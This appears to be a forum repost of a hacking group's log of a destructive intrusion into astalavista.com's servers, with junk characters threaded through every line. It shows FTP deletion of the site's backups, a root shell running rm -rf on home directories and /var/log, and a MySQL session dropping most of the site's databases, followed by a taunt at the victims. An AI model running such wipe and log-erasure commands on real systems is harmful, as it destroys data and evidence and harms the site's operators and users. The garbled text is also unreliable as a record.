, F- W L0 n! @& W6 n-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
- W: X5 u, c. }$ w2 a C3 [. l-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2" e: b% {" H' U
-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
/ @) h3 C6 d: E5 b$ j& ]" p" T-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar; o8 a$ A: ?1 k/ ~1 k# ]
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
! Y6 e' Q+ E% m" @0 K[snip]
. p6 T* n. `" g$ B' Z8 ^0 J. }' J226 Transfer complete.4 z0 H6 \* L) ^" C- {
ftp> mdelete * Z2 h0 m0 g9 G D8 B$ O" g5 I& }
ftp> ls -la
4 d2 @7 f0 v f4 f& v* J; n227 Entering Passive Mode (212,254,194,163,2,193)% E; O/ P- X% Y6 l3 n5 a$ f
150 Opening BINARY mode data connection for ‘file list’.
7 L1 U0 p J$ @6 c9 q226 Transfer complete., M, [/ f8 D- \' i& e
ftp>
* Z& ?5 s' y" d' J, F- b
5 y+ I) B5 E( x5 x9 N) l9 h4 w) T& _sh-3.2# cd /home
; s# W5 F3 `9 p n: @7 Fsh-3.2# ls -la* q3 d' k4 ^$ y8 ]# P
total 120
# V/ Y( N. \' [; ^6 ]1 P+ p9 ? _: gdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .
* p$ o+ d( u9 O/ I- ?- [. h, K. u$ Wdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
9 x6 z% s9 h _& a, a% _7 K5 ~6 A0 zdrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
E: E X% h! t G& E-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
# E7 H R* V1 D' h- n6 t& S-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
z. O5 u' w/ `7 k$ j+ ^# Tdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
' K, `7 D+ `; l, Xdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
3 C3 @8 w) w/ X. ^8 Vdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
3 d+ k/ |5 d6 Z2 ?# _- e, adrwx–x–x 10 com com 4096 Apr 28 12:40 com
, p) U. v+ Y. g/ s6 f$ B* \/ `) ?drwxr-xr-x 2 root root 4096 May 17 2007 ftp. f: x, c# m5 B3 \$ k# i+ F& L/ B0 P
drwx—— 3 jon jon 4096 Sep 21 2007 jon ]/ U0 u# w' Y: `2 I
drwx—— 2 root root 16384 Sep 11 2007 lost+found& E. w+ Q v1 ?' j" W7 Q6 [
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
6 g, Q0 v/ S+ V6 Y" m9 e! y8 Ydrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata5 l' X) v" _ |' g
drwx—— 2 jon jon 4096 Sep 15 2007 test
; y6 f. N; O: I" G0 e1 qdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp: L0 I- y" s; R7 ~' [$ `
7 k& l" I: I/ X4 G) lsh-3.2# rm -rf backup/' A" q% O. B* V( T9 ?
sh-3.2# rm -rf backup.14161/; n6 O8 E# }2 Y U8 W) H5 L5 C
sh-3.2# rm -rf ftp/
' d$ h" H3 F/ q% x9 t. dsh-3.2# rm -rf jon/
- T3 _6 U1 A, o0 F. M s! \+ \sh-3.2# rm -rf my/
; Y/ j! G3 y8 Z3 d; dsh-3.2# rm -rf mysqldata/
: a. X7 K/ K, m; N9 Rsh-3.2# rm -rf test/
% v& r* I j' W* j7 vsh-3.2# rm -rf tmp/
0 v. j$ \) D* y5 p% u; o; vsh-3.2# cd ~
1 W$ g3 k: ~" g+ n/ v* q8 |9 esh-3.2# rm -rf *. H& S7 [# O+ x1 H% M
sh-3.2# rm -rf /var/log/
* A* v& ]+ k! f* Y! ?rm: cannot remove directory `/var/log//proftpd’: Directory not empty% {0 Y) i) V2 Q6 G% h$ J
sh-3.2# rm -rf /home/*
N8 Z0 }- g) d4 ~sh-3.2# mysql
: j; {! ^: G8 P8 c" eWelcome to the MySQL monitor. Commands end with ; or \g.9 c+ V. s5 c8 C9 a) |
Your MySQL connection id is 407156
1 A8 I! `1 b% y! E# U5 b8 S1 pServer version: 5.0.45-community-log MySQL Community Edition (GPL)7 B& q+ A/ K+ U$ m' Q% a' v
" q6 m& ]- {: [; B: B2 EType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
% O% ~8 r0 G" }7 d4 s
5 X8 R( R S5 B6 o. Z1 q* Cmysql> show databases;' R3 v. \! V% U/ E8 F& C
+———————–+& W3 O" F0 m9 {
| Database |
# u' [+ {6 P( B+ a/ q" ]3 U |+———————–+
0 o0 P" X5 O& V' W| information_schema |
) ^7 q* y' b8 g/ `1 w( w) Y' p| astanet_ads |0 u, g( t7 I( w+ I
| astanet_mailing_lists |
+ ~: j3 h0 ? d8 U| astanet_mediawiki |
# X2 i" ]( ]/ s. _( || astanet_membersystem |
1 ] e% I5 x& r- L8 c; @" P( T| com_contrexx |
7 z- J3 w) J$ C7 Z% B6 E8 i4 _' O| com_contrexx2 |
1 ^( a' n, S' `% o) Z5 T| com_contrexx2_live |
' G. g/ S0 a7 B: i* z| da_roundcube |
5 U* R @' j h| dolphin |; s" T& I! K0 h, }: ^1 Y
| ideapool |
, `& K5 L# Q/ s3 s| mysql |# ~8 [# R% ~& c- m/ \
| test |2 Q+ l* f3 u2 B* D" m3 [
| yourmaster |8 D* |( {* ~6 L& V+ [5 s" a
+———————–+
8 m, {4 ~! G, a4 }( Z14 rows in set (0.03 sec)- ^) e7 ?' o! O! U2 E
- C) {9 `+ Y1 {# N
mysql> drop database astanet_membersystem;% E3 S+ S9 L& n' W2 a4 O) n1 E, B
droQuery OK, 46 rows affected (0.81 sec)- |" ~. u \0 i3 w" O
: W' A9 @) `5 {& F1 ~/ Y. g: I8 z1 r; Bmysql> drop database com_contrexx;
" @8 }+ j$ ~2 D q0 ~' G. pQuery OK, 211 rows affected (2.72 sec)7 ?6 n/ y% J5 u: K4 I& H
- V% H5 f7 g" Y: }3 x- Hmysql> drop database com_contrexx2;
6 t* {/ ?( x3 w! s- @Query OK, 237 rows affected (2.23 sec)
! ?! T: E( X9 E" m0 `* ~. f2 G
5 r5 g; L6 Z% N0 W: F( z$ Hmysql> drop database com_contrexx2_live;" q) d8 s7 a# O. y4 I p# j& z
Query OK, 227 rows affected (7.63 sec)
8 G( Z: Z# K* \5 e6 S' B9 C: F% j: j/ G
mysql> drop database ideapool;
, n8 u8 h) | H/ ~5 J, ]: _Query OK, 69 rows affected (0.19 sec)3 m' W" j, p+ j* I8 _
) N- o) R% \0 }2 I- Q1 k( @2 q
mysql> drop database yourmaster;7 I7 y# x2 E* M L) J" {
Query OK, 158 rows affected (0.55 sec)# X, T, B- R' c" H
* M: Z; m! L- L% h/ O- w" Amysql> drop database astanet_ads;
! q1 h* V$ o9 [+ z9 s. r) I1 oQuery OK, 9 rows affected (0.11 sec)
/ v! X& l7 W$ ^* P* t& m1 k$ C: v% T1 A" d, E$ C3 \) g
mysql> drop database astanet_mailing_lists;; E6 Z$ {- C q$ K: ?0 a
Query OK, 24 rows affected (1.47 sec)
, g; W% j& e/ j% o7 G5 I8 X& D; A1 {8 }; D$ c( [
mysql> drop database astanet_mediawiki;1 b3 l! D1 {$ t9 D- \! N. ~, K- R* A
Query OK, 31 rows affected (0.51 sec)
$ B) W; v+ u/ ?1 t0 ^$ h
0 h/ g, v# W2 o) Zmysql> show databases;: D$ i2 g* t- w$ T
+——————–+% M9 z1 J. M( K" A3 ^
| Database |
! V0 t6 [( K7 w: m) y+——————–+
3 ^8 R* j) L F& {| information_schema |6 d. d; K" B8 r
| da_roundcube |) H1 S7 G+ R8 a8 Z6 {
| dolphin |
0 f/ C5 V0 f+ L. l3 d9 P| mysql |3 g& r4 \8 D9 _( [, i, A1 [
| test |) b/ P) a, A% ?' T+ V- z7 c `+ q
+——————–+
; q6 s: C; v& L* k* U- z5 rows in set (0.00 sec)
9 V: Z6 i+ c( m. m: M+ d* ?# u
2 c6 S1 w, V/ }; X. vWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
6 R1 c9 t0 m" ?, X0 Q3 vtheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the4 l% m. U+ I# `& q$ ^: Z
wrong to say this pack of morons *wont be back*.( P: D6 l8 v7 Q; X+ r8 ]: N& V( P
|
发表于 2012-11-6 21:07:34
收藏
支持
反对